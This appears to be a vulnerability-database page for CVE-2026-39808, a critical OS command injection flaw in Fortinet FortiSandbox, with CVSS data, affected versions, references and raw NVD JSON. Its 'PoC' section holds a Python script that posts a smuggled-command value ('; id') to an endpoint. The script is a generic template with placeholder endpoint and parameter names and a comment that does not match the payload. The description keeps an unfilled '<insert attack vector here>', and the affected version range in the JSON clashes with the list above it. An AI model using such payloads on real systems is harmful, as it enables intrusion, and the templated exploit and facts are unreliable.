CVE-2026-39808

Description

A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE

Fortinet FortiSandbox 4.4.0

Fortinet FortiSandbox 4.4.1

Fortinet FortiSandbox 4.4.2

Fortinet FortiSandbox 4.4.3

Fortinet FortiSandbox 4.4.4

Fortinet FortiSandbox 4.4.5

Fortinet FortiSandbox 4.4.6

Fortinet FortiSandbox 4.4.7

Fortinet FortiSandbox 4.4.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3

import requests
import sys

# CVE-2026-39808 Proof of Concept
# Target: Fortinet FortiSandbox 4.4.0 - 4.4.8
# Description: OS Command Injection via vulnerable endpoint

target = "http://target-ip:port/vulnerable_endpoint"

# Payload to execute 'whoami' command
# Using semicolon to bypass basic filtering
payload = "; id"

headers = {
    "User-Agent": "CVE-2026-39808-Scanner",
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "vulnerable_param": payload
}

try:
    print(f"[*] Sending payload to {target}...")
    response = requests.post(target, data=data, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39808
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39808
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39808/
[4] VulDB https://vuldb.com/cve/CVE-2026-39808
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-100
[6] https://github.com/samu-delucas/CVE-2026-39808

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39808", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:44.860", "lastModified": "2026-04-22T14:17:00.873", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.9", "matchCriteriaId": "94FFE14D-51FF-4D31-A0FD-5B0877081A04"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-100", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/samu-delucas/CVE-2026-39808", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}